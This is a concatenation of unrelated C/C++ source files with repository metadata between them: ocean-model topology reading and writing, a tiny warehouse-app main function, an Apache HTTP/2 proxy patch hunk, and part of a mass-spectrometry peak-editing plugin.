(MyDlgHookUPP)0, &reply, M38c, MakeModalFilterUPP(STDFilter));
if (!reply.good) return USERCANCEL;
strcpy(path, reply.fullPath);
#else
where = CenteredDialogUpLeft(M38c);
sfpgetfile(&where, "",
(FileFilterUPP)0,
-1, typeList,
(DlgHookUPP)0,
&reply, M38c,
(ModalFilterUPP)MakeUPP((ProcPtr)STDFilter, uppModalFilterProcInfo));
if (!reply.good) return 0;
my_p2cstr(reply.fName);
#ifdef MAC
GetFullPath(reply.vRefNum, 0, (char *)reply.fName, path);
#else
strcpy(path, reply.fName);
#endif
#endif
strcpy (s, path);
SplitPathFile (s, fileName);
}
else
{ // don't ask user, we were provided with the path
strcpy(path,givenPath);
strcpy(fileName,givenFileName);
}
if (IsCATS3DFile(path))
{
err = this->ImportGrid(path);
if(err) {printError("Error importing refined grid"); return err;}
return noErr;
}
else
{
err = -1;
printError("Grid to import must be in a CATS3D file");
return err;
}
}
/**************************************************************************************************/
//OSErr TCATSMover3D::ReadTopology(char* path, TMap **newMap)
OSErr TCATSMover3D::ReadTopology(vector<string> &linesInFile, TMap **newMap)
{
// import PtCur triangle info so don't have to regenerate
char s[1024], errmsg[256];
long i, numPoints, numTopoPoints, line = 0, numPts;
string currentLine;
//CHARH f = 0;
OSErr err = 0;
TopologyHdl topo=0;
LongPointHdl pts=0;
FLOATH depths=0;
VelocityFH velH = 0;
DAGTreeStruct tree;
WorldRect bounds = voidWorldRect;
TTriGridVel3D *triGrid = nil;
tree.treeHdl = 0;
TDagTree *dagTree = 0;
long numWaterBoundaries, numBoundaryPts, numBoundarySegs;
LONGH boundarySegs=0, waterBoundaries=0;
errmsg[0]=0;
/*if (!path || !path[0]) return 0;
if (err = ReadFileContents(TERMINATED,0, 0, path, 0, 0, &f)) {
TechError("TCATSMover3D::ReadTopology()", "ReadFileContents()", err);
goto done;
}
_HLock((Handle)f); // JLM 8/4/99
*/
MySpinCursor(); // JLM 8/4/99
currentLine = linesInFile[line++];
//if(err = ReadTVertices(f,&line,&pts,&depths,errmsg)) goto done;
if(err = ReadTVertices(linesInFile,&line,&pts,&depths,errmsg)) goto done;
if(pts)
{
LongPoint thisLPoint;
numPts = _GetHandleSize((Handle)pts)/sizeof(LongPoint);
if(numPts > 0)
{
WorldPoint wp;
for(i=0;i<numPts;i++)
{
thisLPoint = INDEXH(pts,i);
wp.pLat = thisLPoint.v;
wp.pLong = thisLPoint.h;
AddWPointToWRect(wp.pLat, wp.pLong, &bounds);
}
}
}
MySpinCursor();
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
//if(IsBoundarySegmentHeaderLine(s,&numBoundarySegs)) // Boundary data from CATs
if(IsBoundarySegmentHeaderLine(currentLine,numBoundarySegs)) // Boundary data from CATs
{
MySpinCursor();
if (numBoundarySegs>0)
//err = ReadBoundarySegs(f,&line,&boundarySegs,numBoundarySegs,errmsg);
err = ReadBoundarySegs(linesInFile,&line,&boundarySegs,numBoundarySegs,errmsg);
if(err) goto done;
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
}
else
{
//err = -1;
//strcpy(errmsg,"Error in Boundary segment header line");
//goto done;
// not needed for 2D files, but we require for now
}
MySpinCursor(); // JLM 8/4/99
//if(IsWaterBoundaryHeaderLine(s,&numWaterBoundaries,&numBoundaryPts)) // Boundary types from CATs
if(IsWaterBoundaryHeaderLine(currentLine,numWaterBoundaries,numBoundaryPts)) // Boundary types from CATs
{
MySpinCursor();
//err = ReadWaterBoundaries(f,&line,&waterBoundaries,numWaterBoundaries,numBoundaryPts,errmsg);
err = ReadWaterBoundaries(linesInFile,&line,&waterBoundaries,numWaterBoundaries,numBoundaryPts,errmsg);
if(err) goto done;
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
}
else
{
//err = -1;
//strcpy(errmsg,"Error in Water boundaries header line");
//goto done;
// not needed for 2D files, but we require for now
}
MySpinCursor(); // JLM 8/4/99
//NthLineInTextOptimized(*f, (line)++, s, 1024);
//if(IsTTopologyHeaderLine(s,&numTopoPoints)) // Topology from CATs
if(IsTTopologyHeaderLine(currentLine,numTopoPoints)) // Topology from CATs
{
MySpinCursor();
//err = ReadTTopologyBody(f,&line,&topo,&velH,errmsg,numTopoPoints,FALSE);
err = ReadTTopologyBody(linesInFile,&line,&topo,&velH,errmsg,numTopoPoints,FALSE);
if(err) goto done;
//NthLineInTextOptimized(*f, (line)++, s, 1024);
currentLine = linesInFile[line++];
}
else
{
err = -1; // for now we require TTopology
strcpy(errmsg,"Error in topology header line");
if(err) goto done;
}
MySpinCursor(); // JLM 8/4/99
//NthLineInTextOptimized(*f, (line)++, s, 1024);
//if(IsTIndexedDagTreeHeaderLine(s,&numPoints)) // DagTree from CATs
if(IsTIndexedDagTreeHeaderLine(currentLine,numPoints)) // DagTree from CATs
{
MySpinCursor();
//err = ReadTIndexedDagTreeBody(f,&line,&tree,errmsg,numPoints);
err = ReadTIndexedDagTreeBody(linesInFile,&line,&tree,errmsg,numPoints);
if(err) goto done;
}
else
{
err = -1; // for now we require TIndexedDagTree
strcpy(errmsg,"Error in dag tree header line");
if(err) goto done;
}
MySpinCursor(); // JLM 8/4/99
/////////////////////////////////////////////////
// if the boundary information is in the file we'll need to create a bathymetry map (required for 3D)
if (waterBoundaries && (this -> moverMap == model -> uMap))
{
//PtCurMap *map = CreateAndInitPtCurMap(fVar.userName,bounds); // the map bounds are the same as the grid bounds
PtCurMap *map = CreateAndInitPtCurMap("Extended Topology",bounds); // the map bounds are the same as the grid bounds
if (!map) {strcpy(errmsg,"Error creating ptcur map"); goto done;}
// maybe move up and have the map read in the boundary information
map->SetBoundarySegs(boundarySegs);
map->SetWaterBoundaries(waterBoundaries);
*newMap = map;
}
//if (!(this -> moverMap == model -> uMap)) // maybe assume rectangle grids will have map?
else // maybe assume rectangle grids will have map?
{
if (waterBoundaries) {DisposeHandle((Handle)waterBoundaries); waterBoundaries=0;}
if (boundarySegs) {DisposeHandle((Handle)boundarySegs); boundarySegs = 0;}
}
/////////////////////////////////////////////////
triGrid = new TTriGridVel3D;
if (!triGrid)
{
err = true;
TechError("Error in TCATSMover3D::ReadTopology()","new TTriGridVel" ,err);
goto done;
}
fGrid = (TTriGridVel*)triGrid;
triGrid -> SetBounds(bounds);
dagTree = new TDagTree(pts,topo,tree.treeHdl,velH,tree.numBranches);
if(!dagTree)
{
printError("Unable to read Extended Topology file.");
goto done;
}
triGrid -> SetDagTree(dagTree);
//triGrid -> SetDepths(depths);
pts = 0; // because fGrid is now responsible for it
topo = 0; // because fGrid is now responsible for it
tree.treeHdl = 0; // because fGrid is now responsible for it
velH = 0; // because fGrid is now responsible for it
//depths = 0;
done:
if(depths) {DisposeHandle((Handle)depths); depths=0;}
/*if(f)
{
_HUnlock((Handle)f);
DisposeHandle((Handle)f);
f = 0;
}*/
if(err)
{
if(!errmsg[0])
strcpy(errmsg,"An error occurred in TCATSMover3D::ReadTopology");
printError(errmsg);
if(pts) {DisposeHandle((Handle)pts); pts=0;}
if(topo) {DisposeHandle((Handle)topo); topo=0;}
if(velH) {DisposeHandle((Handle)velH); velH=0;}
if(tree.treeHdl) {DisposeHandle((Handle)tree.treeHdl); tree.treeHdl=0;}
if(depths) {DisposeHandle((Handle)depths); depths=0;}
if(fGrid)
{
fGrid ->Dispose();
delete fGrid;
fGrid = 0;
}
if (*newMap)
{
(*newMap)->Dispose();
delete *newMap;
*newMap=0;
}
if (waterBoundaries) {DisposeHandle((Handle)waterBoundaries); waterBoundaries=0;}
if (boundarySegs) {DisposeHandle((Handle)boundarySegs); boundarySegs = 0;}
}
return err;
}
OSErr TCATSMover3D::ReadTopology(const char *path, TMap **newMap)
{
vector<string> linesInFile;
char outPath[kMaxNameLen];
OSErr err = 0;
#ifdef TARGET_API_MAC_CARBON
if (IsClassicPath((char*)path))
{
err = ConvertTraditionalPathToUnixPath(path, outPath, kMaxNameLen) ;
if (!err) strcpy((char*)path,outPath);
else return err;
}
#endif
ReadLinesInFile(path, linesInFile);
return ReadTopology(linesInFile, newMap);
}
OSErr TCATSMover3D::ExportTopology(char* path)
{
// export triangle info so don't have to regenerate each time
OSErr err = 0;
long numTriangles, numBranches, nver, nBoundarySegs=0, nWaterBoundaries=0;
long i, n, v1,v2,v3,n1,n2,n3;
double x,y,z=0;
char buffer[512],hdrStr[64],topoStr[128];
TopologyHdl topH=0;
TTriGridVel* triGrid = 0;
TDagTree* dagTree = 0;
LongPointHdl ptsH=0;
FLOATH depthsH=0;
DAGHdl treeH = 0;
LONGH boundarySegmentsH = 0, boundaryTypeH = 0;
VelocityRec vel;
BFPB bfpb;
triGrid = (TTriGridVel*)(this->fGrid);
if (!triGrid) {printError("There is no topology to export"); return -1;}
dagTree = triGrid->GetDagTree();
if (dagTree)
{
ptsH = dagTree->GetPointsHdl();
topH = dagTree->GetTopologyHdl();
treeH = dagTree->GetDagTreeHdl();
}
else
{
printError("There is no topology to export");
return -1;
}
depthsH = ((TTriGridVel3D*)triGrid)->GetDepths();
if(!ptsH || !topH || !treeH)
{
printError("There is no topology to export");
return -1;
}
if (moverMap->IAm(TYPE_PTCURMAP))
{
boundaryTypeH = (dynamic_cast<PtCurMap *>(moverMap))->GetWaterBoundaries();
boundarySegmentsH = (dynamic_cast<PtCurMap *>(moverMap))->GetBoundarySegs();
if (!boundaryTypeH || !boundarySegmentsH) {printError("No map info to export"); err=-1; goto done;}
}
(void)hdelete(0, 0, path);
if (err = hcreate(0, 0, path, 'ttxt', 'TEXT'))
{ printError("1"); TechError("WriteToPath()", "hcreate()", err); return err; }
if (err = FSOpenBuf(0, 0, path, &bfpb, 100000, FALSE))
{ printError("2"); TechError("WriteToPath()", "FSOpenBuf()", err); return err; }
strcpy(buffer,"CATS3D\n");
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
// Write out values
nver = _GetHandleSize((Handle)ptsH)/sizeof(**ptsH);
//fprintf(outfile,"Vertices\t%ld\t%ld\n",nver,numBoundaryPts); // total vertices and number of boundary points
sprintf(hdrStr,"Vertices\t%ld\n",nver); // total vertices
strcpy(buffer,hdrStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
sprintf(hdrStr,"%ld\t%ld\n",nver,nver); // junk line
strcpy(buffer,hdrStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
for(i=0;i<nver;i++)
{
x = (*ptsH)[i].h/1000000.0;
y =(*ptsH)[i].v/1000000.0;
//sprintf(topoStr,"%ld\t%lf\t%lf\t%lf\n",i+1,x,y,(*gDepths)[i]);
//sprintf(topoStr,"%ld\t%lf\t%lf\n",i+1,x,y);
if (depthsH)
{
z = (*depthsH)[i];
sprintf(topoStr,"%lf\t%lf\t%lf\n",x,y,z);
}
else
sprintf(topoStr,"%lf\t%lf\n",x,y); // add depths
strcpy(buffer,topoStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
}
if (boundarySegmentsH)
{
nBoundarySegs = _GetHandleSize((Handle)boundarySegmentsH)/sizeof(long);
//fprintf(outfile,"Vertices\t%ld\t%ld\n",nver,numBoundaryPts); // total vertices and number of boundary points
sprintf(hdrStr,"BoundarySegments\t%ld\n",nBoundarySegs); // total vertices
strcpy(buffer,hdrStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
for(i=0;i<nBoundarySegs;i++)
{
//sprintf(topoStr,"%ld\n",(*boundarySegmentsH)[i]); // when reading in subtracts 1
sprintf(topoStr,"%ld\n",(*boundarySegmentsH)[i]+1);
strcpy(buffer,topoStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
}
}
if (boundaryTypeH)
{
nBoundarySegs = _GetHandleSize((Handle)boundaryTypeH)/sizeof(long); // should be same size as previous handle
//fprintf(outfile,"Vertices\t%ld\t%ld\n",nver,numBoundaryPts); // total vertices and number of boundary points
for(i=0;i<nBoundarySegs;i++)
{
if ((*boundaryTypeH)[i]==2) nWaterBoundaries++;
}
sprintf(hdrStr,"WaterBoundaries\t%ld\t%ld\n",nWaterBoundaries,nBoundarySegs);
strcpy(buffer,hdrStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
for(i=0;i<nBoundarySegs;i++)
{
if ((*boundaryTypeH)[i]==2)
//sprintf(topoStr,"%ld\n",(*boundaryTypeH)[i]);
{
sprintf(topoStr,"%ld\n",i);
strcpy(buffer,topoStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
}
}
}
numTriangles = _GetHandleSize((Handle)topH)/sizeof(**topH);
sprintf(hdrStr,"Topology\t%ld\n",numTriangles);
strcpy(buffer,hdrStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
for(i = 0; i< numTriangles;i++)
{
v1 = (*topH)[i].vertex1;
v2 = (*topH)[i].vertex2;
v3 = (*topH)[i].vertex3;
n1 = (*topH)[i].adjTri1;
n2 = (*topH)[i].adjTri2;
n3 = (*topH)[i].adjTri3;
dagTree->GetVelocity(i,&vel);
sprintf(topoStr, "%ld\t%ld\t%ld\t%ld\t%ld\t%ld\t%lf\t%lf\n",
v1, v2, v3, n1, n2, n3, vel.u, vel.v);
/////
strcpy(buffer,topoStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
}
numBranches = _GetHandleSize((Handle)treeH)/sizeof(**treeH);
sprintf(hdrStr,"DAGTree\t%ld\n",dagTree->fNumBranches);
strcpy(buffer,hdrStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
for(i = 0; i<dagTree->fNumBranches; i++)
{
sprintf(topoStr,"%ld\t%ld\t%ld\n",(*treeH)[i].topoIndex,(*treeH)[i].branchLeft,(*treeH)[i].branchRight);
strcpy(buffer,topoStr);
if (err = WriteMacValue(&bfpb, buffer, strlen(buffer))) goto done;
}
done:
//
FSCloseBuf(&bfpb);
if(err) {
printError("Error writing topology");
(void)hdelete(0, 0, path); // don't leave them with a partial file
}
return err;
}
|
[
"jay.hennen@noaa.gov"
] |
jay.hennen@noaa.gov
|
f1d90850c50d44a5299dd2bd44144d3f26f416d8
|
a74a52b4989cb3ea25fdbdabdbcf847674826f87
|
/数据库课程设计/数据库_1/仓储管理系统-(实训生案例-肖XX)/仓储管理系统-(实训生案例-肖XX)/main.cpp
|
feb83e00cc0850f95400a22d843df48125861a16
|
[] |
no_license
|
zouliangqi/WareHouse
|
3b35de0b3dd50ad101cdbe905dee74c3b951686f
|
cb85259ac1a230bf9894919fc8fca4f2939c1b29
|
refs/heads/master
| 2020-05-15T11:37:51.219520
| 2019-04-19T09:11:54
| 2019-04-19T09:11:54
| 182,237,697
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 81
|
cpp
|
#include "myclass.h"
int main()
{
Login login;
login.logmenu();
return 0;
}
|
[
"liangqizou123@gmail.com"
] |
liangqizou123@gmail.com
|
775c9b7d4fbb54ab0dfbd75948e2b3fbd7c0c0f6
|
0eff74b05b60098333ad66cf801bdd93becc9ea4
|
/second/download/httpd/gumtree/httpd_patch_hunk_4444.cpp
|
8a6cf936a0aeefb1ce8815e93635b87659da30ee
|
[] |
no_license
|
niuxu18/logTracker-old
|
97543445ea7e414ed40bdc681239365d33418975
|
f2b060f13a0295387fe02187543db124916eb446
|
refs/heads/master
| 2021-09-13T21:39:37.686481
| 2017-12-11T03:36:34
| 2017-12-11T03:36:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,766
|
cpp
|
/* Step Two: Make the Connection (or check that an already existing
* socket is still usable). On success, we have a socket connected to
* backend->hostname. */
if (ap_proxy_connect_backend(ctx->proxy_func, ctx->p_conn, ctx->worker,
ctx->server)) {
- ap_log_cerror(APLOG_MARK, APLOG_ERR, 0, ctx->owner, APLOGNO(03352)
+ ap_log_cerror(APLOG_MARK, APLOG_DEBUG, 0, ctx->owner, APLOGNO(03352)
"H2: failed to make connection to backend: %s",
ctx->p_conn->hostname);
goto cleanup;
}
/* Step Three: Create conn_rec for the socket we have open now. */
if (!ctx->p_conn->connection) {
- ap_log_cerror(APLOG_MARK, APLOG_DEBUG, status, ctx->owner, APLOGNO(03353)
- "setup new connection: is_ssl=%d %s %s %s",
- ctx->p_conn->is_ssl, ctx->p_conn->ssl_hostname,
- locurl, ctx->p_conn->hostname);
if ((status = ap_proxy_connection_create(ctx->proxy_func, ctx->p_conn,
ctx->owner,
ctx->server)) != OK) {
+ ap_log_cerror(APLOG_MARK, APLOG_DEBUG, status, ctx->owner, APLOGNO(03353)
+ "setup new connection: is_ssl=%d %s %s %s",
+ ctx->p_conn->is_ssl, ctx->p_conn->ssl_hostname,
+ locurl, ctx->p_conn->hostname);
goto cleanup;
}
- /*
- * On SSL connections set a note on the connection what CN is
- * requested, such that mod_ssl can check if it is requested to do
- * so.
- */
- if (ctx->p_conn->ssl_hostname) {
- apr_table_setn(ctx->p_conn->connection->notes,
- "proxy-request-hostname", ctx->p_conn->ssl_hostname);
- }
-
- if (ctx->is_ssl) {
- apr_table_setn(ctx->p_conn->connection->notes,
- "proxy-request-alpn-protos", "h2");
+ if (!ctx->p_conn->data) {
+ /* New conection: set a note on the connection what CN is
+ * requested and what protocol we want */
+ if (ctx->p_conn->ssl_hostname) {
+ apr_table_setn(ctx->p_conn->connection->notes,
+ "proxy-request-hostname", ctx->p_conn->ssl_hostname);
+ }
+ if (ctx->is_ssl) {
+ apr_table_setn(ctx->p_conn->connection->notes,
+ "proxy-request-alpn-protos", "h2");
+ }
}
}
run_session:
status = proxy_engine_run(ctx);
if (status == APR_SUCCESS) {
|
[
"993273596@qq.com"
] |
993273596@qq.com
|
5a08fccc870847f16e3ca6504e6345c56f0e4a52
|
ad96ab41afed33c17e661d939b7f6da079432738
|
/Chapter 3/practice_3_41.cpp
|
19b5e3be8ae49fa9a046a7e00a19f10dd22ce97b
|
[] |
no_license
|
smtdbd/c-primer-5th
|
628a238d384337c8636c7496e3e777995d9e88a3
|
e9d1c85207060af33f774e3a45e11bb0bc2a7837
|
refs/heads/master
| 2021-01-19T11:08:59.188253
| 2017-04-16T03:20:36
| 2017-04-16T03:20:36
| 87,930,546
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 268
|
cpp
|
/* 练习3.41
* 编写一段程序,用整型数组初始化一个vector对象
*/
#include <vector>
using namespace std;
vector<int> initialise(int *a, size_t size) {
vector<int> res;
for (size_t x = 0; x < size; x++)
res.push_back(a[x]);
return res;
}
|
[
"smtdbd@qq.com"
] |
smtdbd@qq.com
|
85b6ae83ef4db48a23d196b59aab2eea39399b4b
|
59f00d4f6fccb6b1103c5aa54f43a6e4d4f8bfc5
|
/src/common-plugin-operation/PeakEditPlugin/PeakEditFunctions.cpp
|
0591a97584bccf37d3f35c4047666c66fa9778a5
|
[] |
no_license
|
tomas-pluskal/masspp
|
9c9492443bb796533bcb27fe52a0a60e4ba62160
|
808bf095215e549e7eb5317c02c04dfb2ceaba15
|
refs/heads/master
| 2021-01-01T05:33:44.483127
| 2015-06-07T12:54:17
| 2015-06-07T12:54:17
| 33,917,190
| 0
| 1
| null | null | null | null |
SHIFT_JIS
|
C++
| false
| false
| 44,062
|
cpp
|
/**
* @file PeakEditFunctions.cpp
* @brief implements of PeakEdit plug-in functions
*
* @author S.Tanaka
* @date 2008.12.17
*
* Copyright(C) 2006-2014 Eisai Co., Ltd. All rights reserved.
*/
#include "stdafx.h"
#include "PeakEditFunctions.h"
#include "PeakEditManager.h"
using namespace kome::peaks::edit;
#include <crtdbg.h>
#ifdef _DEBUG
#define new new( _NORMAL_BLOCK, __FILE__, __LINE__ )
#define malloc( s ) _malloc_dbg( s, _NORMAL_BLOCK, __FILE__, __LINE__ )
#endif // _DEBUG
#define LABEL_STATUS_NAME "LABEL_EDIT_MODE"
#define ADD_STATUS_VALUE "add"
#define DEL_STATUS_VALUE "del"
#define EDIT_STATUS_VALUE "edit"
static int flgStartEdirSpec = 0;
static int flgStartEdirChrom= 0;
// initialize label mode
kome::objects::Variant initLabelMode( kome::objects::Parameters* ) {
// return value
kome::objects::Variant ret;
// set status
kome::objects::StatusManager& statusMgr = kome::objects::StatusManager::getInstance();
statusMgr.setValue( LABEL_STATUS_NAME, "" );
return ret;
}
// finalize label mode
kome::objects::Variant finalizeLabelMode( kome::objects::Parameters* ) {
// return value
kome::objects::Variant ret;
// set status
kome::objects::StatusManager& statusMgr = kome::objects::StatusManager::getInstance();
statusMgr.setValue( LABEL_STATUS_NAME, "" );
return ret;
}
// draw spectrum peak position
kome::objects::Variant drawSpecPeakPos( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// manager
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
// graphics
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
// spectrum
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::core::XYData* xyData = spec->getXYData();
if( xyData == NULL ) {
return ret;
}
kome::objects::Peaks* peaks = pkMgr.getPeaks( spec );
if( peaks == NULL ) {
return ret;
}
// draw peak position
PeakEditManager& mgr = PeakEditManager::getInstance();
{ // @date 2011/07/11 <Add> OKADA
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
kome::objects::Peaks* peaksTemp = pkMgr.getPeaks( spec );
mgr.drawPeakPosition( *g, *peaksTemp, *xyData );
}
return ret;
}
// draw peak position
kome::objects::Variant drawChromPeakPos( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// manager
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
// graphics
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
// chromatogram
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::core::XYData* xyData = chrom->getXYData();
if( xyData == NULL ) {
return ret;
}
kome::objects::Peaks* peaks = pkMgr.getPeaks( chrom );
if( peaks == NULL ) {
return ret;
}
// draw peak position
PeakEditManager& mgr = PeakEditManager::getInstance();
mgr.drawPeakPosition( *g, *peaks, *xyData );
return ret;
}
// draw spectrum peak shape
kome::objects::Variant drawSpecPeakShape( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// manager
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
// graphics
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
// spectrum
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::core::XYData* xyData = spec->getXYData();
if( xyData == NULL ) {
return ret;
}
kome::objects::Peaks* peaks = pkMgr.getPeaks( spec );
if( peaks == NULL ) {
return ret;
}
// draw peak shape
PeakEditManager& mgr = PeakEditManager::getInstance();
int m_flgSelectLocal = mgr.m_flgSelect; // @date 2011/08/02 <Add> OKADA
try{
mgr.drawPeakShape( *g, *peaks, *xyData ); // @date <Temp> OKADA
}
catch( std::string str ) // 例外をキャッチする
{
std::string strTemp = str; // ここでbreak point設置
}
// @date 2011/08/03 <Add> OKADA
// メモリ描画判定処理
if( mgr.m_flgRedrawMemory == true ){
mgr.m_flgRedrawMemory = false; // @date 2011/08/03 <Add> OKADA
}else if(( m_flgSelectLocal == 0 )&&( mgr.m_flgSelect != 0 )){// drawPeakShape()関数呼び出し前は0で、呼び出し後に変化した場合
;
}else{
mgr.m_flgSelect = 0;
return ret;
}
// @date 2011/06/14 <Add> OKADA ------->
wxBitmap bitmap((*g).getWidth(), (*g).getHeight() ); // @date 2011/06/27 <Add> OKADA
mgr.m_memDC.SelectObject( bitmap );
mgr.m_memDC.SetBackground( *wxWHITE_BRUSH );
mgr.m_memDC.Clear();
mgr.m_graphicsSpec.setDC( &mgr.m_memDC );
// Set Margin
mgr.m_graphicsSpec.setGraphMargin( (*g).getGraphMarginLeft(),
(*g).getGraphMarginTop(),
(*g).getGraphMarginRight(),
(*g).getGraphMarginBottom() );
mgr.m_graphicsSpec.setMaxX( (*g).getMaxX() );
mgr.m_graphicsSpec.setMaxY( (*g).getMaxY() );
mgr.m_graphicsSpec.setMinX( (*g).getMinX() );
mgr.m_graphicsSpec.setMinY( (*g).getMinY() );
mgr.m_graphicsSpec.setSize( (*g).getWidth(), (*g).getHeight() );
mgr.m_graphicsSpec.setGraphPosition( (*g).getGraphPositionLeft(),
(*g).getGraphPositionTop(),
(*g).getGraphPositionRight(),
(*g).getGraphPositionBottom() );
try{
// wxMemoryDC に対して描画
mgr.m_flgSelect = 0;
mgr.m_flgSelectSpec = 0;
mgr.drawPeakShape( mgr.m_graphicsSpec, *peaks, *xyData );
mgr.m_flgSelectSpec = mgr.m_flgSelect;
}
catch( std::string str ) // 例外をキャッチする
{
std::string strTemp = str;
}
mgr.wxiImageSpec = bitmap.ConvertToImage();
return ret;
}
// draw chromatogram peak shape
kome::objects::Variant drawChromPeakShape( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// manager
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
// graphics
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
// chromatogram
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::core::XYData* xyData = chrom->getXYData();
if( xyData == NULL ) {
return ret;
}
kome::objects::Peaks* peaks = pkMgr.getPeaks( chrom );
if( peaks == NULL ) {
return ret;
}
// draw peak shape
PeakEditManager& mgr = PeakEditManager::getInstance();
int m_flgSelectLocal = mgr.m_flgSelect; // @date 2011/08/02 <Add> OKADA
mgr.drawPeakShape( *g, *peaks, *xyData );
// @date 2011/08/03 <Add> OKADA
// メモリ描画判定処理
if( mgr.m_flgRedrawMemory == true ){
mgr.m_flgRedrawMemory = false; // @date 2011/08/03 <Add> OKADA
}else if(( m_flgSelectLocal == 0 )&&( mgr.m_flgSelect != 0 )){// drawPeakShape()関数呼び出し前は0で、呼び出し後に変化した場合
;
}else{
mgr.m_flgSelect = 0;
return ret;
}
// @date 2011/06/23 <Add> OKADA ------->
wxBitmap bitmap((*g).getWidth(), (*g).getHeight() ); // @date 2011/06/27 <Add> OKADA
mgr.m_memDC.SelectObject( bitmap );
mgr.m_memDC.SetBackground( *wxWHITE_BRUSH );
mgr.m_memDC.Clear();
mgr.m_graphicsChrom.setDC( &mgr.m_memDC );
// Set Margin
mgr.m_graphicsChrom.setGraphMargin( (*g).getGraphMarginLeft(),
(*g).getGraphMarginTop(),
(*g).getGraphMarginRight(),
(*g).getGraphMarginBottom() );
mgr.m_graphicsChrom.setMaxX( (*g).getMaxX() );
mgr.m_graphicsChrom.setMaxY( (*g).getMaxY() );
mgr.m_graphicsChrom.setMinX( (*g).getMinX() );
mgr.m_graphicsChrom.setMinY( (*g).getMinY() );
mgr.m_graphicsChrom.setSize( (*g).getWidth(), (*g).getHeight() );
mgr.m_graphicsChrom.setGraphPosition( (*g).getGraphPositionLeft(),
(*g).getGraphPositionTop(),
(*g).getGraphPositionRight(),
(*g).getGraphPositionBottom() );
try{
// wxMemoryDC に対して描画
mgr.m_flgSelect = 0;
mgr.m_flgSelectChrom = 0;
mgr.drawPeakShape( mgr.m_graphicsChrom, *peaks, *xyData );
mgr.m_flgSelectChrom = mgr.m_flgSelect;
}
catch( std::string str ) // 例外をキャッチする
{
std::string strTemp = str;
}
mgr.wxiImageChrom = bitmap.ConvertToImage();
// @date 2011/06/23 <Add> OKADA <-------
return ret;
}
// set label add mode
kome::objects::Variant setLabelAddMode( kome::objects::Parameters* ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = true;
// managers
kome::objects::StatusManager& statusMgr = kome::objects::StatusManager::getInstance();
PeakEditManager& mgr = PeakEditManager::getInstance();
// get status value
const char* val = statusMgr.getValue( LABEL_STATUS_NAME );
std::string valStr = NVL( val, "" );
// set value
if( valStr.compare( ADD_STATUS_VALUE ) == 0 ) {
statusMgr.setValue( LABEL_STATUS_NAME, "" );
mgr.setMode( PeakEditManager::MODE_NONE );
}
else {
statusMgr.setValue( LABEL_STATUS_NAME, ADD_STATUS_VALUE );
mgr.setMode( PeakEditManager::MODE_ADD );
}
mgr.unselectPeak();
// refresh
kome::window::WindowTool::refresh();
return ret;
}
// set label edit mode
kome::objects::Variant setLabelEditMode( kome::objects::Parameters* params) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = true;
// managers
kome::objects::StatusManager& statusMgr = kome::objects::StatusManager::getInstance();
PeakEditManager& mgr = PeakEditManager::getInstance();
// get status value
const char* val = statusMgr.getValue( LABEL_STATUS_NAME );
std::string valStr = NVL( val, "" );
kome::window::StatusBar& statusBar = kome::window::StatusBar::getInstance();
// set value
if( valStr.compare( EDIT_STATUS_VALUE ) == 0 ) {
// Peak Edit モードから出るとき
statusMgr.setValue( LABEL_STATUS_NAME, "" );
mgr.setMode( PeakEditManager::MODE_NONE );
// マウスカーソルを通常の矢印に戻す // @date 2011/08/24 <Add> OKADA ------->
unsigned int uNumberOfCanvas = kome::window::Canvas::getNumberOfCanvases();
for( unsigned int idx=0; idx<uNumberOfCanvas; idx++ ){
kome::window::Canvas* p_canvas = kome::window::Canvas::getCanvas( idx );
if( p_canvas != NULL ){
p_canvas->SetCursor(wxCursor(wxCURSOR_ARROW)); // 矢印
}
